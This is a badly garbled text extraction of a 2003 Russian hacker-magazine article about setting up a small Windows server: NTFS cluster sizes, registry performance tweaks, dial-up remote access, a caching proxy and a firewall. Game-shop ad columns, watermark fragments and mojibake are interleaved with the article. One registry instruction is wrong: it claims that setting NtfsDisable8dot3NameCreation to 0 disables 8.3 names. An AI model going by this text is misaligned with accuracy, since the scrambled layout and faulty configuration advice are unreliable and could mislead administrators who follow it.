книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 33_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
d |
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
p |
|
|
|
gзащищенностью. А если винт маленький, как у моего |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
to |
|
|
|
|
МАГАЗИНp g |
|
|
|
||||||||||||||||
w Click |
|
|
|
|
|
|
|
m |
|
|
|
|
w Click |
|
|
|
|
|
|
|
m |
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
.c |
|
|||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
|
|
артефакта, то просто необходимо разбить его похит- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
рей, чтобы сохранить так необходимые метры. Вообще, |
БЫСТРО |
УДОБНО |
ДОСТУПНО |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
NTFS позволяет выбирать размер кластера от 512 байт |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
до 4096 байт (и это не предел), что позволяет более |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
экономно использовать пространство на винте. Так, ес- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ли у тебя на серваке куча файлов, имеющих длину 1-2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
байта (а они неизбежно появятся в ходе работы), то |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
при размере кластера 4096 байт ты потеряешь 4 кило- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
байта на каждом таком файле. Это немного, но если |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
файлов тысячи и далеко не у каждого файла размер |
|
|
|
PAL $275.99 |
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
кратен 4096 байтам (что является оптимальным сай- |
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
зом, так все кластеры занимаются полностью), то поте- |
|
|
|
NTSC $289.99 |
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
ри могут доходить до сотни-другой мегов. А если на |
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
винте лежит здоровый фильм, занимающий дофига |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
кластеров, то при его просмотре или копировании ско- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
рость работы всего компа падает, ведь ОС нужно про- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
читать каждый кластер и найти следующий, причем |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
выполнить это очень быстро. Вот почему на серверах |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
начали создавать, как минимум, три раздела: первый - |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
системный, на него ставим серверную ОС; второй - с |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
максимальным размером кластера, поддерживаемым |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
данной файловой системой, на нем будут храниться |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
фильмы, музыка и здоровенные софтины; и третий - с |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
минимальным размером кластера, туда будут сейвить- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ся временные файлы, все хтмлки, скрипты, почта юзе- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ров и прочие мелочи. После такого хитрой разбивки я |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
был уверен, что выжал из винчестера максимальную |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
емкость, и двинулся дальше. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
СТАВИМ И ОПТИМИЗИМИЗУЕМ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Установка самой ОС не вызвала особых проблем, все |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
стало в пределах нормы без глюков. Необходимые дро- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ва для железа нашлись в инете. Дело встало лишь за |
Технические параметры: $83.99*/85.99 |
$83.99*/83.99 |
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
оптимизацией ОСи. |
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
Для повышения скорости соображалки твоего сервака |
Процессор: Intel Pentium-3 733 Mhz |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
хорошо бы увеличить зарезервированную кэш-память. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
Графический процессор: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Это можно сделать, изменив в реестре значение ключа |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
nVidia XGPU 233 Mhz |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ |
Производительность: 125 Млн пол./сек |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Control\SessionManager\Memory-Management\ |
Память: 64 Mb 200 Mhz DDR |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
LargeSystemCache òèïà REG_DWORD ñ 0 íà 1. Íî íàäî |
Çâóê: nVidia MCPX 200 Mhz, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
256 каналов, Dolby Digital 5.1 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Прочее: 2-5х DVD-drive, жесткий диск 8 Gb, |
|
Return to Castle |
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
4xUSB-порта, сетевая плата 100 MBps |
Star Wars: |
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
Knights of the |
Wolfenstein: |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
Воспроизведение DVD-фильмов |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
Old Republic |
Tides of War |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
$83.99*/79.99 |
$79.99*/85.99 |
$79.99* |
$83.99*/85.99 |
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
Enter the Matrix |
Tao Feng: |
APEX |
Brute Force |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
Вот так можно рулить удаленным сервантом с мопеда |
|
Fist of the Lotus |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$83,99* |
$79.95*/72.99 |
|
Заказы по интернету – |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
круглосуточно! |
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
e-mail: sales@e-shop.ru |
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Заказы по телефону |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
можно сделать |
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ñ 10.00 äî 21.00 ïí – ïò |
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ñ 10.00 äî 19.00 ñá – âñ |
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
Pirates of the |
Dead or Alive |
|
СУПЕРПРЕДЛОЖЕНИЕ ДЛЯ |
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
Caribbean |
Xtreme Beach |
|
ИНОГОРОДНИХ ПОКУПАТЕЛЕЙ: |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
Volleyball |
|
стоимость доставки |
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
снижена на 10%! |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
* - цена на американскую версию игры (NTSC) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(095) 928-6089 (095) 928-0360 (095) 928-3574 |
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#8(33) |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Запустим ручки в реестр... по локоть |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
HOWTO/NOW! СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА |
|||||||
|
|
|
|
|
|||||||
w Click |
to |
BUY |
|
|
|
|
m |
|
|||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
учесть, что если у тебя маловато |
|
. |
|
|
|
|
|
e |
|
|||
|
|
p |
df |
|
|
|
g |
.c |
|
|
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
оперативы, то такой финт может |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ухудшить работу с сетью - увеличит- |
|
|
|
|
|
|
|
|
|
|
|
ся нагрузка на своп, который обла- |
|
|
|
|
|
|
|
|
|
|
|
дает очень малой производитель- |
|
|
|
|
|
|
|
|
|
|
|
ностью по сравнению с оператив- |
|
|
|
|
|
|
|
|
|
|
|
кой. Еще я предлагаю оптимизиро- |
|
|
|
|
|
|
|
|
|
|
|
вать файловую систему, чтобы хоть |
|
|
|
|
|
|
|
|
|
|
|
еще на грамм поднять скорость ра- |
|
|
|
4work |
|
|
|
|
|
|
боты сервера. Для этого мы прове- |
|
|
|
|
|
|
|
|
|
|
дем парочку несложных действий: |
||
|
|
|
|
|
|
|
|
|
во-первых, изменим параметр |
||
|
|
|
|
|
|
|
|
|
“IoPageLockLimit” в ключе |
||
|
|
|
ÎÑè |
|
|
|
|
|
|
[HKEY_LOCAL_MACHINE\SYSTEM\ |
|
|
|
|
|
|
|
|
|
|
CurrentControlSet\Control\Session |
||
|
|
|
|
|
|
|
|
|
|
|
Manager\Memory Management]. Çíà- |
|
|
|
|
|
|
|
|
|
|
|
чения IoPageLockLimit при объеме |
|
|
|
|
|
|
|
|
|
|
|
оперативы в метрах такие: 32 mb - |
|
|
|
|
|
|
|
|
|
|
|
4096000; 64 mb - 8192000; 128 mb - |
|
|
|
|
|
|
|
|
|
|
|
16384000; 256+ mb - 65536000. Ýòî |
|
|
|
|
|
|
|
|
|
|
|
позволит тебе несколько ускорить |
|
|
|
|
|
|
|
|
|
|
|
работу с винтом за счет выделения |
|
|
|
|
|
|
|
|
|
|
|
большего количества памяти на кэ- |
|
|
|
|
|
|
|
|
|
|
|
ширование. А во-вторых, уберем |
|
|
|
|
|
Многие юзеры |
возможность NTFS создавать имена |
|||||
|
|
|
|
|
|||||||
|
|
|
|
|
качают из |
файлов, совместимые со стандартом |
|||||
|
|
|
|
|
инета одно и |
||||||
|
|
|
|
|
ДОС. Для этого найдем в реестре та- |
||||||
|
|
|
|
|
òî æå ïî íåñ- |
||||||
|
|
|
|
|
колько раз, |
êîé êëþ÷: |
|||||
|
|
|
|
|
òàê ÷òî êýøè- |
[HKEY_LOCAL_MACHINE\SYSTEM\ |
|||||
|
|
|
|
|
рующий прок- |
||||||
|
|
|
|
|
места на винте |
CurrentControlSet\Control\FileSyste |
|||||
|
|
|
|
|
си и немного |
|
|||||
|
|
|
|
|
помогут серь- |
m] и изменим параметр |
|||||
|
|
|
|
|
езно эконо- |
NtfsDisable8dot3NameCreation íà 0. |
|||||
|
|
|
|
|
мить деньги. |
Сейчас перезагрузка и создание до- |
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
полнительных имен формата 8.3 |
|
|
|
|
|
|
|
|
|
|
|
отключены. Но есть одно “но”: мно- |
|
|
|
|
|
|
|
|
|
|
|
гие программы для ДОС, работаю- |
|
|
|
|
|
|
|
|
|
|
|
щие с диском, могут вылетать с |
|
|
|
|
|
|
|
|
|
|
|
ошибкой файловой системы. Если |
|
|
|
|
|
|
|
|
|
|
|
ты столкнулся с этой траблой, то ли- |
|
|
|
|
|
|
|
|
|
|
|
бо включи обратно параметр (изме- |
|
|
|
|
|
|
|
|
|
|
|
ни значение на 1), либо помести |
|
|
|
|
|
|
|
|
|
|
|
софтину в каталог, имя которого не |
|
|
|
|
|
|
|
|
|
|
|
превышает 8 символов в длину и |
|
|
|
|
|
|
|
|
|
|
|
содержит не более 255 вложений. |
|
|
|
|
|
|
|
|
|
|
|
И наконец, последний финт с реест- |
|
|
|
|
|
|
|
|
|
|
|
ром: в ключе [HKEY_LOCAL_MACHINE\ |
|
|
|
|
|
|
|
|
|
|
|
SYSTEM\CurrentControlSet\Control\ |
|
|
|
|
|
|
|
|
|
|
|
FileSystem] создаем параметр с име- |
|
|
|
|
|
|
|
|
|
|
|
íåì “NtfsDisableLastAccessUpdate”, |
|
|
|
|
|
|
|
|
|
|
|
тип REG_DWORD и делаем его рав- |
|
|
|
|
|
|
|
|
|
|
|
ным единице. Сейчас ты отключил |
|
|
|
|
|
|
|
|
|
|
|
редко используемую возможность |
|
|
|
|
|
|
|
|
|
|
|
NTFS по изменению времени послед- |
|
|
|
|
|
|
|
|
|
|
|
него доступа к каталогу. Если у тебя |
|
|
|
|
|
На серверах |
много вложенных папок, то ты заме- |
|||||
|
|
|
|
|
|||||||
|
|
|
|
|
создают, как |
тишь ускорение невооруженным гла- |
|||||
|
|
|
|
|
минимум, три |
||||||
|
|
|
|
|
зом. После несложной оптимизации |
||||||
|
|
|
|
|
раздела: пер- |
||||||
|
|
|
|
|
вый - систем- |
мы можем смело переходить к наст- |
|||||
|
|
|
|
|
ный, второй - |
||||||
|
|
|
|
|
ройке непосредственно самого сер- |
||||||
|
|
|
|
|
с максималь- |
||||||
|
|
|
|
|
ным размером |
вака: прокси, фаерволла и т.д. |
|||||
|
|
|
|
|
кластера для |
|
|||||
|
|
|
|
|
хранения |
ПОДОИМ СЕРВЕР |
|||||
|
|
|
|
|
фильмов и му- |
||||||
|
|
|
|
|
зыки, и третий |
Для начала поднимем часть, отвеча- |
|||||
|
|
|
|
|
- с минималь- |
||||||
|
|
|
|
|
ющую за дозвон ;), чтобы организо- |
||||||
|
|
|
|
|
ным размером |
||||||
|
|
|
|
|
кластера для |
вать на этом компе сервер удаленно- |
|||||
|
|
|
|
|
временных |
||||||
|
|
|
|
|
го доступа и попользоваться благами |
||||||
|
|
|
|
|
файлов, почты |
||||||
|
|
|
|
|
юзеров и про- |
халявного инета в нерабочее время. |
|||||
|
|
|
|
|
чей мелочи. |
Все тут достаточно просто: ставим мо- |
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
дем, устанавливаем на него дрова. |
|
|
|
|
|
|
|
|
|
|
|
Дальше запускаем мастера новых |
|
|
|
|
|
|
|
|
|
|
|
подключений (if you in broney train), |
|
|
|
|
|
|
|
|
|
|
|
кликаем правой кнопкой по сетевому |
|
|
|
|
|
|
|
|
|
|
|
окружению (My Network Places), вы- |
|
|
|
|
|
|
|
|
|
|
|
бираем свойства (Properties), а даль- |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
сейчас оф-лайн, прога предложит . |
|
|
|
|
|
e |
|
||||
|
|
|
p |
df |
|
|
|
g |
.c |
|
||
|
|
|
|
|
|
n |
|
|
|
|
||
|
“заказать” нужные паги, и они бу- |
|
|
-x cha |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
||
|
дут загружены автоматически в |
|
|
|
|
|
|
|
|
|
|
|
|
следующий раз). Удобно? Мне то- |
|
|
|
|
|
|
|
|
|
|
|
|
же понравилось, особенно если |
|
|
|
|
|
|
|
|
|
|
|
|
учесть, что к вечеру я забываю, |
|
|
|
|
|
|
|
|
|
|
|
|
что хотел скачать ночью... И самый |
|
|
|
|
|
|
|
|
|
|
|
|
главный плюс - возможность прос- |
|
|
|
|
|
|
|
|
|
|
|
|
мотра в оф-лайне всех страниц, по- |
|
|
|
|
|
|
|
|
|
||
|
сещенных во время серфа, причем |
|
|
|
|
|
|
|
|
|
|
|
Грамотный прокси с приятным фейсом |
эти странички сейвятся очень куль- |
|
|
|
|
|
|
|
|
|
||
ше создаем новое подключение |
турно: в папке с прогой создается |
|
|
|
|
|
|
|
|
|
|
|
каталог cache и в нем создаются |
|
|
|
|
|
|
|
|
|
|
|
|
(Create a new connection), а там юзаем |
подкаталоги - типа www.porno.ru. |
|
|
|
|
|
|
|
|
|
|
|
пункт set up advance connection. Чтоб |
К несчастью, минусы тоже есть: от- |
|
|
|
|
|
|
|
|
|
|
|
не было наездов и ора скажу сразу, |
сутствует хелп, при использовании |
|
|
|
|
|
|
|
|
|
|
|
что у меня Винда английская и я не |
этой софтины на одиночном компью- |
|
|
|
|
|
|
|
|
|
|
|
променяю ее ни на какую русифика- |
тере, подключенном к инету через мо- |
|
|
|
|
|
|
|
|
|
||
цию, поэтому иногда буду говорить |
дем, падает скорость работы соедине- |
|
|
|
|
|
|
|
|
|
||
чиста англицкие пункты. Теперь твоя |
ния. Причина проста: сначала проис- |
|
|
|
|
|
|
|
|
|
|
|
система сможет принимать входящие |
ходит скачивание в кэш, а потом |
|
|
|
|
|
|
|
|
|
|
|
звонки, то есть будет брать трубку, |
только эти данные приходят к браузе- |
|
|
|
|
|
|
|
|
|
||
когда модем зафиксирует сигнал, и |
ру. Еще эта прога - шароварная, это |
|
|
|
|
|
|
|
|
|
|
|
проверять имя юзера/пасс, но она не |
формальность, конечно, но тем не ме- |
|
|
|
|
|
|
|
|
|
||
сможет нормально пустить его в инет. |
нее. А еще был замечен такой весе- |
|
|
|
|
|
|
|
|
|
|
|
Если юзер, подцепленный к виндово- |
лый глюк: этот прокси определяет, |
|
|
|
|
|
|
|
|
|
|
|
му серваку по модему, попробует |
подключен ли ты к сети, просто пин- |
|
|
|
|
|
|
|
|
|
|
|
вбить адрес страницы, то он, по идее, |
гуя указанный сервак (по умолчанию |
|
|
|
|
|
|
|
|
|
|
|
сможет ее загрузить, но есть огром- |
- любимый microsoft.com), но я, решив |
|
|
|
|
|
|
|
|
|
||
ное НО! IP, присвоенный юзеру Вин- |
провести массовую оптимизацию, |
|
|
|
|
|
|
|
|
|
|
|
дой при соединении, вылезет в сеть, |
указал сайт нашей локалки, и только |
|
|
|
|
|
|
|
|
|
|
|
и если в сети уже есть такой IP, прои- |
он вырубился (гроза была...), прога |
|
|
|
|
|
|
|
|
|
|
|
зойдет очень нехорошая вещь: оба |
начала выдавать все страницы иск- |
|
|
|
|
|
|
|
|
|
|
|
компа-конкурента начнут жутко тор- |
лючительно из кэша. И только слу- |
|
|
|
|
|
|
|
|
|
|
|
мозить, а потом и вовсе могу упасть в |
чайно это заметили - курс доллара на |
|
|
|
|
|
|
|
|
|
|
|
даун. Но даже если IP свободен, про- |
Яндексе оказался староватым. То |
|
|
|
|
|
|
|
|
|
|
|
вайдерские админы тебе кинут огром- |
есть моя интрасеть некоторое время |
|
|
|
|
|
|
|
|
|
|
|
ное предупреждение - левые IP в ло- |
работала вообще без связи с внеш- |
|
|
|
|
|
|
|
|
|
|
|
калке очень мешают при работе сер- |
ним миром, только благодаря закро- |
|
|
|
|
|
|
|
|
|
|
|
ваков, да и организовывать нужно |
мам этой программульки. А это гово- |
|
|
|
|
|
|
|
|
|
|
|
юзеров, а то за неделю расползутся |
рит о том, что очень многие юзеры ка- |
|
|
|
|
|
|
|
|
|
||
по всему диапазону от 0.0.0.0 до |
чают из инета одно и то же по нес- |
|
|
|
|
|
|
|
|
|
|
|
255.255.255.255. Вот поэтому необхо- |
колько раз. Так что ставьте, начинаю- |
|
|
|
|
|
|
|
|
|
||
димо разграничить сеть с дозвоном и |
щие админы, кэширующий прокси, |
|
|
|
|
|
|
|
|
|
|
|
не выпускать левых IP в локалку. |
выделяйте побольше места на винте |
|
|
|
|
|
|
|
|
|
|
|
|
и рулите своей сетью, экономя деньги |
|
|
|
|
|
|
|
|
|
||
НЕКИСЛЫЙ ПРОКСИК |
на новый девайсик. |
|
|
|
|
|
|
|
|
|
|
|
Обеспечить такое разграничение призван прокси-сервер. В инете развелось огромное количество их модификаций, с разными возможностями и разной ценой. Но тебе нужно учесть, что наша машинка не самая мощная, и поэтому необходимо выбирать софтину, которая выполняет роль именно прокси, а не всякого фильтра и защитника сети. Только так мы сможем сохранить приемлемую скорость работы сервака. Мой выбор пал на очень неплохую программку: CoolProxy (http://www.coolproxy.narod.ru). В моем распоряжении оказалась версия 1.4. Это полноценный проксисервер с развитой поддержкой кэширования. Вот его плюсы: простая установка и настройка, очень грамотное кэширование графики, то есть самой трафожрущей части, достаточно простой и понятный русский фейс, возможность заказа веб-страниц (ты смотришь главную страницу сайта, находишь нужные ссылки, кликаешь по ним, и если ты
КОЛЮЧИЙ ЗАБОРЧИК
Дальше, раз уже мы решили делать все грамотно, нам следует поставить фаерволл для защиты от внешних атак и от атак доморощенных “хакеров” на инет (а то придут к тебе раздолбаи из органов). Для этого я, руководствуясь кое-каким опытом и советами знакомых админов, выбрал софтину с именем Argnitum Outpost Firewall Pro (www.agnitum.com/download/). Опишу лишь самые важные ее плюсы: малый размер дистрибутива, несколько режимов работы (бездействие, обучение, разрешение того, что не запрещено, и запрещение того, что не разрешено), русский фейс, наличие готовых правил для многих софтин (например, опера, бат, експлорер, аутглук были уже настроены), возможность апгрейда с помощью плагинов. Так, уже по дефолту, ставятся очень полезные вещи: кэширование DNS, которое резко уменьшает время поиска IP-адреса, блокиратор рекламы, позволяющий
|
|
|
|
|
|
|
page |
040 |
|
08(33) 2003 |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
|
NOW! |
o |
|
|
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w Click |
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
m |
||||||||||||
|
BUY |
|
|
|
|
|
|
МАГАЗИНw Click |
|
|
|
||||||||||||||||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
to |
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
p |
|
|
|
|
|
|
|
|
o |
|
|
|
|
w |
p |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
x h |
|
|
|
вырезать надоедливые баннеры по размеру и по ссыл- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
. |
|
|
|
|
|
.c |
|
|
С ДОСТАВКОЙ НА ДОМx h |
|
.c |
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|||||||
|
|
|
d |
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
d |
|
|
|
|
e |
|
|||
|
|
|
|
f- |
c an |
|
кам, детектор атак и кое-какие еще. Еще мне понравилось |
|
|
|
|
|
|
|
f- |
c an |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
БЫСТРО |
УДОБНО |
ДОСТУПНО |
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
то, что при модификации запускного файла, который |
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
раньше имел разрешение на связь с инетом, она очень |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
громко кричит об этом. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
ПУЛЬТ К ТЕЛЕКУ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
И последним очень важным пунктом будет управление |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
сервером. Ведь нет смысла серверному компу иметь |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
постоянную видеокарту и монитор. Вот поэтому я пред- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
лагаю использовать софтину для удаленного админи- |
|
|
|
|
|
|
|
|
|
|
|
